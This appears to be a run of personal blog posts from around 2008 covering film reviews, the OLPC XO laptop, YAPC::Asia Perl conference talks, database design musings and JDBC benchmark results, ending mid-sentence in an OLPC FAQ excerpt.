{   a :  1,  /* set a to 1*/
    b : 'two',  // trailing comma makes it easier to add or re-arrange lines
}

After a year back in London, the four teenage heroes of the first Narnia movie (and book) are thrust back into their fantasy kingdom when Prince Caspian, on the run from his evil uncle, sounds a magic horn. During their absence of more than a thousand years, Narnia has been overrun by human invaders, the Talking Beasts driven into the wilderness and near extinction.

5 points

Cissy's parents arrived from Shanghai last weekend, and are going to stay with us for three months. And I still don't speak a word of Chinese ...

Due to a recent and very controversial decision, the XO will very soon be available with a choice of two operating systems: the Linux-based Sugar that was specifically developed for it, and Windows XP. This move will certainly cost the OLPC community dearly as far as the hearts and minds of the geek community are concerned, but if it helps to keep the OLPC project on track with its task to deliver low-cost laptops and quality education to children in need, it may be a good thing. One has to wonder, though, how this affects the overall concept of this venture (the previous focus on complete openness and hackability, as well as trying to break out of established business partnerships between poor countries and First World corporations come to mind), and how much different the XO is now from other ultra-portables, or second-hand regular computers.

The version of XP is apparently the same that is being offered on the Asus Eee, with Microsoft having spent some serious developer time to add support for various XO hardware features, such as the rotating screen. The innovative mesh networking, however will initially not be supported. The price of the machine will increase by ten dollars (3 dollars for Windows, 7 dollars for the extra memory that it needs).

The current operating system, which so far has failed to make too good a job of integrating with the device, will still be available as an option, probably also as a dual-boot solution. The Sugar developers have meanwhile set up Sugar Labs, with the stated goal of bringing Sugar to the next level of usability and utility, on or off the OLPC.

Myself, I am waiting for Update One of the OLPC software to bring much-needed power management improvements and iron out some of the minor annoyances I have been writing about.

Toru Yamaguchi: OpenID 2.0

An introduction to OpenID, how it works, and how it can be used with Perl.

Yuval Kogman: Moose

An overview of Moose, the much-talked-about new approach to object-oriented programming in Perl. They stressed the point that Moose is not a toy or experimental, but very stable and being used in production. There are a few performance penalties to pay, but they are working on a compiler to reduce those.

Yoshinori Takesako: How to defend Apache/CGI against multi-byte XSS attacks

Poorly written or unmaintained web applications in combination with newly discovered scary browser vulnerabilities leave web site operators in a tough spot. Takesako-san introduced some Apache modules that can be installed as a workaround until the problem is being fixed. Kind of like a firewall, but instead of protecting your server from malicious access, it protects the browser from your malicious server.

Tatsuhiko Miyagawa: 20 modules I haven't yet talked about

Entertaining talk as Miyagawa-san goes through the back-catalogue of his extensive oeuvre. He actually cut it down to ten, because of timing constraints.

Lunch break

Good old university cafeteria food. Ample, tasty, and cheap. Taken open-air in the sun.

Ingy döt Net: Perl Love for Javascript Hackers

Ingy shows how to use Makefiles to make web pages, and how the much-maligned Template Toolkit can be used in JavaScript, too, using Jemplate.

Jesse Vincent: Everything but the secret sauce

Best Practical are open-sourcing all their tools (keeping only the secret sauce they use to hook them together), and Jesse showcased a number of them, including their Perl application packaging system Shipwright.

Faiz Kazi: From POE to Erlang

Faiz proposes that even though Perl now (ever since 5.8) has its own support for threads (which have not been met with much in the way of adoption), the best way to do concurrency in Perl remains the venerable and under-appreciated Perl Object Environment, which is based on actors passing messages (as opposed to threads sharing memory). Erlang is a language built upon that principle, and is said to scale phenomenally for concurrent applications, which may become more important as CPU speeds have stopped increasing as dramatically as they used to (to compensate, computers have more cores now).

For the third year in a row, the Shibuya Perl Mongers brought YAPC::Asia to Tokyo, this time on campus at the Tokyo Institute of Technology, which I hereby proclaim to be the best venue yet. Today's Day One was the second day actually, as there were also some additional talks yesterday (including one by co-worker-on-sabbatical Faiz), but I was tied up at work and could not go. Equally unfortunately, there is no T-shirt this year, and I could not get WiFi to work on the XO-1.

Larry Wall: A Standard That Is Meant To Be Broken.

A keynote that was a bit more on the technical side (they are usually more political or philosophical), in which $Larry talked about internals of the Perl6 parser he has been working over the last year. He stressed that there are not really any built-ins, and that the parser can be extended or otherwise modified at runtime to support all kinds of languages. And there is still a lot of dwimmery going on, such as the longest token matcher, which provides a sensible default behaviour when trying to parse a complex grammar.

Kang-min Liu: Continuous Testing.

A presentation of Test::Continuous, which polls your source directory for changed files, so that relevant tests can be run when you update them.

Lunch break

Another accidental lunch with Larry Wall (and his wife, and Faiz), at Matsuya.

Jose Castro: Perl Black Magic.

A very entertaining introduction to obfuscation and Perl Golf.

Ingy döt Net: JavaScript Love for Perl Hackers.

Ingy has ported the very popular jQuery to Perl, so that you can do web scraping with this powerful DOM query language. He also introduced his latest slideshow system Vroom, and proposed to use CPAN to distribute JavaScript libraries as well.

Leon Brocard: Working in the cloud.

Leon explained how his company is operating without any hardware himself, having outsourced everything to Amazon, Google and the like.

Jesse Vincent: Step 3 - Prophet.

In what was the most exciting talk for me, Jesse talked about Best Practical's experimental peer-to-peer replicated database. This fits in very nicely both with my recent musings about the future of databases, and my recent migration from Subversion to the distributed Mercurial source version control system, which works very similarly. The biggest challenge of these peer-to-peer systems is how to resolve conflicting updates.

Chia-liang Kao: Running A Perlish Small Business.

CL in his spare time runs AIINK, a small printing company, and explained how he quickly cobbled together the infrastructure for it with Perl.

Makoto Kuwata: The Fastest Template Engine in Perl World.

Yet another templating engine, but these things get incrementally better, and this one is pure Perl, very fast, feature-rich, and has an extremely clever (if you know Japanese) name: Tenjin - Template Engine.

Lightning Talks

More templating engines, YAPC financials, RSS readers, Perl6 signatures in sane Perl5, Japanese CPAN authors, from POE to Erlang (prologue), an OS written in Perl, web services, and crazy HTML hacks

Part thirteen: Cissy's new sunglasses.

Part Seven: Delicate like a panda, the Golden Bear can only truly shine with European voltage.

Earthquakes are quite frequent in Japan, but now we had three tremor days in a row, which is a little unnerving.

And did I mention that Earth's rotational speed has increased recently, for unknown reasons nonetheless?

Hunting for deer in the Texas desert, Llewellyn Moss (Josh Brolin) stumbles upon the bloody aftermath of a drug deal gone wrong, including a suitcase full of money, which he decides to keep for himself. Unfortunately, the Mexican bosses find out about him and send deranged killer Anton Chigurh (Javier Bardem) after him (strangest name since Keyser Soze, you say? Well, he is equally creepy, too). Ageing third-generation sheriff Ed Tom Bell (Tommy Lee Jones) can do little to stop the rampage that follows and starts seriously thinking about retirement.

This is the Coen Brothers back in Blood Simple mode. All the violence of Fargo, without any of the comedy pieces. And for some reason they refuse to give us a satisfying ending. The typical Hollywood movie would have seen Brolin and Jones overcoming Bardem in a big shootout at a motel (wrecking the place in the process). A darker version would have Bardem win. In either case, the whole movie (which is after all kind of a western) was building up towards that epic showdown. Well, does not happen. Or rather, does happen, but we don't get to see any of it. Is this the Coens telling us that violence does not pay, not even for movie-goers?

8 points

I was reading up about time zones on Wikipedia, when I came upon this chart showing the difference between UTC and the real time (mean solar time) over the last few years, and how leap seconds are introduced to keep UTC from diverging too far.

Apparently, there hase been a leap second about once a year until 1999, when the divergence rate slowed down and did not require adjustment until 2005. So I thought that they maybe tweaked the formula a little, but as it turns out for unknown reasons, Earth has sped up after year 2000, so the mean solar day has become 1 ms shorter and fewer leap seconds have been since then.

Should I be worried?

A lavish country-side estate in England, 1935. Young Briony catches glimpses of the developing romance between her older sister Cecilia and the long-time family servant Robbie, which leaves her confused, frightened and angry. When her cousin Lola is assaulted at night, she thinks she saw Robbie do it and falsely accuses him. Based on Briony's testimony, Robbie is sent to prison. The story picks up four years later with Robbie as a soldier trying to get out of France (climaxing in an epic scene on the beach at Dunkirk) and return home to Cecilia, who, estranged from her family, has stood by him and now works as a nurse. Briony is also a nurse and tries to find a way to mend the damage she has done.

7 points

Circle K sunkus wishes to offer you a unique and cozy store to put a smile on everyone's face. That wish has born a new concept Cherie Dolce. Its comfortable and warm atmosphere will smooth you and ease your mind anytime. We wish to begin a new style of c-store with this new concept Cherie Dolce. It would be a little bit comfortable c-store for you.

An O'Reilly book without the popular animal cover design that collects essays where leading programmers explain how they think and present examples of elegant solutions to hard problems.

Author	Subject	Programming Language
Brian Kernighan	A regular expression matcher	C
Karl Fogel	An internal data structure of Subversion	C
Jon Bentley	Quicksort	C
Tim Bray	Web server log file analysis	Ruby
Elliotte Rusty Harold	XML verification	Java
Michael Feathers	The FIT Framework for Integrated Test	Java
Alberto Savoia	JUnit	Java
Charles Petzold	On-the-fly code generation	C, C#, CLR Intermediate Language
Douglas Crockford	Top-down-operator-precedence parsers	JavaScript
Henry S. Warren, Jr.	Counting the number of set bits in a word	C and circuit diagrams
Ashish Gulhati	Secure web-based email	Perl
Lincoln Stein	Data visualisation for bioinformatics	Perl
Jim Kent	A genome analyser web application	C
Jack Dongarra and Piotr Luszczek	Libraries to solve linear equations	MATLAB, Fortran
Adam Kolawa	The CERN mathematical library	Fortran
Greg Kroah-Hartman	Linux kernel drivers	C
Diomidis Spinellis	Layers of indirection in the FreeBSD filesystem drivers	C
Andrew Kuchling	Python's dictionary data structure	C, Python
Travis E. Oliphant	Multidimensional array iterators	C, Python
Ronald Mak	A highly reliable information portal for the NASA Mars Rover Mission	Java
Rogerio Atem de Carvalho and Rafael Monnerat	Enterprise Resource Planning	Python
Bryan Cantrill	Thread synchronisation and prioritisation in Solaris	C
Jeffrey Dean and Sanjay Ghemawat	Map-Reduce	C++
Simon Peyton Jones	Software Transactional Memory	Haskell
R. Kent Dybvig	Macro expansions	Scheme
William R. Otte and Douglas C. Schmidt	A networked logging service	C++
Andrew Patzer	REST (as opposed to SOAP) for integrating business partners	Java
Andreas Zeller	Systematic debugging	Python
Yukihiro Matsumoto	Brevity and human-readability	Ruby
Arun Mehta	A one-button user interface for Professor Hawking	Visual Basic
T.V. Raman	Emacspeak (auditory output from Emacs)	Emacs Lisp
Laura Wingerd and Christopher Seiwald	The Seven Pillars of Pretty Code	C
Brian Hayes	Computational Geometry	Lisp

For decades, the default choice when it comes to storing application data have been relational databases. Recently however, we see a lot of alternative approaches gaining widespread exposure (not sure about acceptance yet), especially as part of Web 2.0 platforms. Think Amazon's SimpleDB, Google's BigTables, or Apache CouchDB.

Cluster architecture: RDBMS have traditionally always been client-server oriented, meaning that you can have multiple clients access the same database concurrently over a network. This alone is an enormous improvement over file-based storage, and it is also useful for three-tier web application, as it allows to scale out the number of application servers. In order not to have the single database server as a bottleneck and single point of failure, you eventually will want to spread its functionality over a cluster of machines. This is a more advanced option that most RDBMS have added in one form or another, but it seems these new web databases were designed specifically to run on distributed nodes.

Schema-free: RDBMS rely on data schema definitions (tables with typed columns) and have great difficulties to handle unstructured documents. In particular, a relational system offers no way to query data other than by column value, and makes it very difficult to query data across tables. Again, most RDBMS now have non-relational extensions like XML query capabilities or full text search. In contrast, the newcomers appear to be very document-centric, where every document can have its own set of attributes. One could argue that a data schema is part of the data integrity validation that a database system should perform. On the other hand, most people seem happy with doing that in the application instead, and in any case, it seems like it should be an optional feature. One could also argue that a fixed schema makes for more efficient storage and access paths. In this case, the schema is seen more as a necessary evil, and one would be happy to give up on it if any performance problems can be avoided some other way.

Impedance mismatch: A big complication when using an RDBMS for storing application data is that everything has to be broken down and mapped to tables and columns using only the rather primitive (scalar) data types of the RDBMS. This gets complex very quickly, both conceptually and also in regards to how the resulting data will be stored, retrieved and queried. Multi-table joins are not easy to understand, and also not especially fast to execute.

Transactions: Probably the main selling point for an RDBMS is that they pass the famous ACID test: Atomicity (all or nothing: no incomplete updates), Consistency (the state of the database does not get corrupted at any time, even in the presence of crashes), Isolation (no one can see the results of a transaction before it is committed), Durability (no committed update can be lost). These properties are essential for many applications, but they come at a cost. In particular, they make it difficult to efficiently replicate or distribute the system. The newer non-relational databases tend to relax these constraints considerably, which makes them unusable when you really need a transactional database. But if you don't ...

Performance: One would assume that RDBMS with all their compacted and normalised storage schemes and their indices are the fastest way to go. And I guess that they do offer the fastest possible way to sort fifty million records, but how often do you really need to do that? Especially if sorting these fifty million records in the fastest possible fashion is still too slow for an interactive application, you start looking at alternative approaches such as an intelligent hierarchy of pre-computed aggregated data. In the RDBMS world this is called data warehousing. Once you get used to the idea that ad-hoc queries are impossible anyway, and that anticipated queries can be satisfied using clever indexing (that may not even need to be completely up-to-date), the performance benefits of operations that you can avoid become less important.

So, in summary, I think that these new databases are obviously not able to replace an RDBMS in its traditional field of operation (record processing where consistent read and writes, transaction isolation, and atomic updates are critical), but they may very well take a sizable chunk of the huge market where RDBMS are currently being used solely because there have been no other choices. There may be no need for an RDBMS in the usual web application stack after all.

Confusing gmail ad of the month. Usually, those targeted ads are actually really close to the contents of the mail thread that they are displayed for. But I really cannot see how big bad hemorrhoids (I am not giving you a link here, and I am certainly not going to click on it myself, being in the middle of dinner and all) are related to the following conversation...

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sakura pictures
 
   :-)
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Thanks Thilo,

And here is the video of the S. Carolina beauty contestant:
http://youtube.com/watch?v=WALIARHHLII

Just like the New Tokyo International Airport, and Tokyo Disney Land (and Sea), the Country Farm Tokyo German Village is not really in Tokyo, but in the neighbouring prefecture of Chiba, where things are less crammed and there is more space for roomy ventures like, well, an international airport or a theme park. The German Village is mostly a big park (in the traditional sense, with meadows and flowers, and ponds) which is intended to bring a healthy breath of country-side lifestyle to stressed big city families. It is only mildly interested in trying to recreate Germany (or Bavaria): You do get beer tent background music, imported sausages, beer, Maus and Diddl goods, and Haribo, but there are also completely generic attractions like golf courses, a petting zoo, a pizza restaurant, a video game arcade, a Ferris wheel, and decidedly un-German foodstuff, such as dried jellyfish and other local (as in Chiba) snacks.

I quite enjoyed the Golden Compass movie and immediately ordered this boxed set of Lyra's adventures (the Golden Compass, the Subtle Knife, and the Amber Spyglass) from Amazon. It is being marketed as a Young Adult book, probably as a result of the main characters all being teenagers, but it certainly tackles more serious topics than, say, Harry Potter, and there are also a number of rather shocking plot developments.

When the Catholic League called for a boycott of the Golden Compass movie, they said it was less about the picture, but more about keeping children away from the books. And indeed, Pullman is quite aggressive in his attack on the concept of organised religion, to the point where one has to wonder if he is actively trying to offend.

Hardcore fans of the novels also disparaged the movie for watering down the controversial content to make it more commercially viable. I do not think that this actually happened, and the religious themes are not all that prominent until the later volumes anyway, but the movie does deviate from the source material in other ways, most notably in that it cuts off the ending (an anti-Happy-Ending if there ever was one) and reverses the order of the two main events before that. Apparently Pullman approved of these changes, though.

Part Six: Finally, a dish washer!

Three rich and estranged American brothers (and their eleven suitcases, the printer, and the laminating machine) on a train voyage across India to find their mother (turned nun in the Himalayan foothills) and renew the family bond.

Wes Anderson's latest oeuvre is, well, a Wes Anderson film. The focus is clearly on quirky character flaws, oddball dialogue, surreal situations, meticulous attention to detail, the retro soundtrack, and the colour schemes, and Anderson fans will be able to enjoy that. You even get a short Bill Murray cameo to round off the cast of usual suspects (Owen Wilson, Jason Schwartzmann, Anjelica Huston). But if you were looking for plot lines, character development, or a message, you might end up disappointed. Or offended that the India depicted is a collection of stereotypes and spoiled Western boys' dreams and serves as no more than exotic backdrop. Or annoyed that for all of the pretentiousness (especially with the opening short film), there is not much substance to it.

7 points

Japan has a new mobile phone service provider: Disney Mobile launched at the beginning of this month. They are a virtual network operator using Softbank's infrastructure (and also collaborate with Softbank in other ways, such as marketing, there are posters all over the place now). There used to be a Disney Mobile in America, but they failed and folded last year. In Japan they target women in their twenties and thirties rather than families with children in the US. This could actually work, Disney's various franchises are very popular in that demographic and they can also draw on an existing base of three million subscribers to their mobile content offerings (ring tones and such).

There have also been rumors that if the iPhone gets introduced in Japan, it would be on Disney Mobile. Unless this is going to be a non-exclusive deal, I do not think that this is a good match, seeing how Disney only targets a very specific market, and how both of these strong brands would probably not like to share the limelight with the other one. On the other, Steve Jobs is the biggest individual shareholder in Disney...

In any case, au sent me (completely unsolicited and for free) another three months' worth of pre-paid calling cards, so I am good until November now.

• Micro Mutants: Evolution
• Tannhäuser
• Wings of War - Famous Aces

Now that I managed to log in to my OTN account, here are the results of Saturday's test suite for Oracle XE on Windows XP:

run0[ms] run1[ms] run2[ms] run3[ms] updates/sec Oracle A 3490 3382 3339 3402 296 B 1578 1478 1444 1452 686 C 1272 1253 1241 1474 756 D 660 660 657 659 1518

E 47 45 43 41 23256

• With Oracle, using prepared statements makes a lot of difference, going from interpolated variables to bind variables more than doubles the throughput, and reusing the same statement adds another ten percent. This is good news in more than one way, because that first part (low-hanging fruits for a programmer) brings such a big gain that you can argue against the need for the extra few percent fro the second improvement, which is trickier to implement in a general fashion (although you could turn on statement-caching in the driver, I need to try to measure that some time).
• Using the batch-update interface when applicable gives a spectacular boost, in this case it is about 15 times faster. Further testing is needed to how this plays out with different batch sizes, specifically if there are upper and lower limits for when it makes sense to use the feature.
• As for how much time it takes for getting a connection from the pool, it depends if you turn on the validation feature of the pool, which checks if the connection is still alive before giving it out. With validation turned off, there is basically no overhead, with validation it adds a few milliseconds every time you get a connection, in my case (I only tested this with Oracle, the times are not included in the charts) one to two ms.

After these measurements for a thousand updates, I also took timings for a different scenario:

1. SELECT non-existing row
2. INSERT the row
3. SELECT again
4. UPDATE the row
5. SELECT again
6. DELETE the row
7. SELECT the now missing row again

This pattern was run in two variations (as shown above and without the selects) in two different implementations (using bind variables or not using them). Each of these four routines was run interleaved (ABCDABCD...) for a total of 101 times, with the first iteration results discarded, and the times it took for each iteration becomes the benchmark result. The connection was in auto-commit mode the whole time.

[ms/run] Postgresql MySQL Oracle Insert, update, delete (no binds) 4.8 32 8.8 Insert, update, delete (binds) 5.3 32 5.3 Plus selects (no binds) 9.9 37 14.6 Plus selects (binds) 10.3 36 9

Again, we see prepared statements making a big difference on Oracle, not so much (even a slight slow-down?) on the open source databases, and that MySQL suffers because of the slow commits (of course, it should still be fast enough, that part is unlikely to become the bottleneck).

Potential follow-ups to this would be to properly profile the connection pool's validation feature, to include Hibernate into the mix and measure its overhead, to record the strain on the server, and to use multiple threads to see how bind variables affect scalability. But I promise that if I do that, I will not bore you with the results here on my blog (one thing that I do want to put here, though, are the results of running these two benchmarks on the same machines in Perl instead of Java).

Part twelve: Protective goggles in the hardware store.

What is the overhead of getting a fresh connection from the connection pool instead of passing the connection around? How much faster are repeated SQL statements when using a fixed query string with bind variables as opposed to directly interpolating the data into the query string? How much faster when re-using the same prepared statement? How much faster when using a batched update?

I ran a little benchmark.

• A) 1000x [getConnection createStatement executeUpdate commit]
• B) 1000x [getConnection prepareStatement executeUpdate commit]
• C) getConnection prepareStatement 1000x [executeUpdate commit]
• D) getConnection prepareStatement 1000x [executeUpdate] commit
• E) getConnection prepareStatement 1000x [addBatch] executeBatch commit

I wanted to test Oracle XE on Ubuntu, but did not get either installed (the eMachine did not like the Ubuntu CD, and Oracle's web-site was unresponsive), so I went with Postgresql 8.3 and MySQL5(InnoDB) instead. The databases were running on Windows XP, both fresh installs using the default settings, accessed from the Java test program on a Mac mini via local ethernet network.

run0 [ms] run1 [ms] run2[ms] run3[ms] updates/sec Postgresql A 2013 1945 1755 1809 545 B 2088 1791 1875 1731 556 C 1667 1729 1658 1714 588 D 1213 1198 1179 1169 846 E 769 780 767 766 1297 MySQL A 9479 9379 9299 9479 107 B 9382 9357 9264 9274 108 C 9314 9371 9394 9222 107 D 632 617 674 641 1553 E 650 650 613 634 1581

• Commits against MySQL are amazingly slow. I assume that this is a problem with my setup, or with Windows. This also probably only affects the transactional InnoDB backend.
• With MySQL, there is no speed difference between methods A, B, and C, and hence no visible performance advantage to prepared statements. Maybe the JDBC driver does not implement the feature. With Postgresql it seems to improve throughput, but not by much. The Oracle figures should be interesting here.
• Committing only once instead of separately after every update makes a big difference, especially with MySQL (see above). Of course, performance considerations should not be a factor in deciding what a transaction is.
• Bulk updates give another big boost to Postgresql, not so much to MySQL.

The XO-1 was supposed to be the $100 Laptop, but unfortunately went over budget and in its current version costs $188. The OLPC project hopes that an increased output combined with price drops in its off-the-shelf components will bring production costs down enough to reach $100 by the end of this year. Considering that OLPC mainly targets the world's poorest countries, and that for example Intel sells more conventional computers (together with Windows licenses, training, and support) starting for less than $300 in these markets, the price tag could easily become the decisive factor for OLPC's success, regardless of the educational and social concepts that they also have to offer.

Whether the adaptation of Philip Pullman's fantasy novels will become the trilogy it is clearly intended to be will depend on the financial success of this first part. Box office results in North America have been disappointing, probably because the Catholic League called for a boycott, but overseas performance has been solid. It seems to be up to Japan now.

7 points (ahead of Narnia, slightly ahead of Potter).

We have a video camera (Panasonic HDC-SD5) shooting in Full HD resolution, which is more of a down payment towards a future home entertainment system than anything we can really use right now (nothing in the house can play back at a 1920x1080 resolution). So for now I am just left with these huge files that take up lots of disk space to store and ages of CPU cycles to process.

The camera records in AVCHD, which is a highly compressed format that still takes about 1GB per 10 minutes. Things get worse when importing them into iMovie, because iMovie insists to decompress the files, resulting in 1GB per minute, and the decompression is painfully CPU-intensive, running at about real-time. I want to store the movies exclusively in their native AVCHD until I feel like actually editing them, but there seems to be no viewer application for that format (which is weird, as iMovie's import wizard can preview them). At least I can copy them off the camera onto the hard disk to free up the memory card.

Well, I have no topic for Q, so here is my pick of five Frequently Asked Questions from the OLPC site:

Who is behind these XO laptop computers?

The XO laptop computer is being developed by One Laptop per Child, a non-profit organization founded by MIT professor Nicholas Negroponte and a team of educators, developers and technologists dedicated to educating children in developing countries with the goal of eradicating poverty. One Laptop Per Child is based on principles expressed by MIT Media Lab Professor Seymour Papert in the 1960s, and later elaborated upon by Alan Kay, and complemented by the principles articulated by Nicholas Negroponte in his book, Being Digital. Partner corporations including Advanced Micro Devices (AMD), Brightstar, eBay, Google, Marvell, News Corporation, Nortel, Quanta, Chi Mei Group, Red Hat, and SES Astra are involved in this initiative.

Why do children in developing nations need laptop computers?

Nicholas Negroponte (OLPC's Chairman and founder) thinks of the XO laptop not as just a piece of equipment, but as an educational opportunity. Laptop computers can be a window and a tool—a window into the world and a tool with which to think. Computers are a wonderful way for all children to learn through independent interaction and exploration.

How is it possible to get the cost of the laptop so low?

First, by dramatically lowering the cost of the display. The first-generation computer will have a novel, dual-mode display that represents improvements to the LCD displays commonly found in inexpensive DVD players. Second, we have also worked to get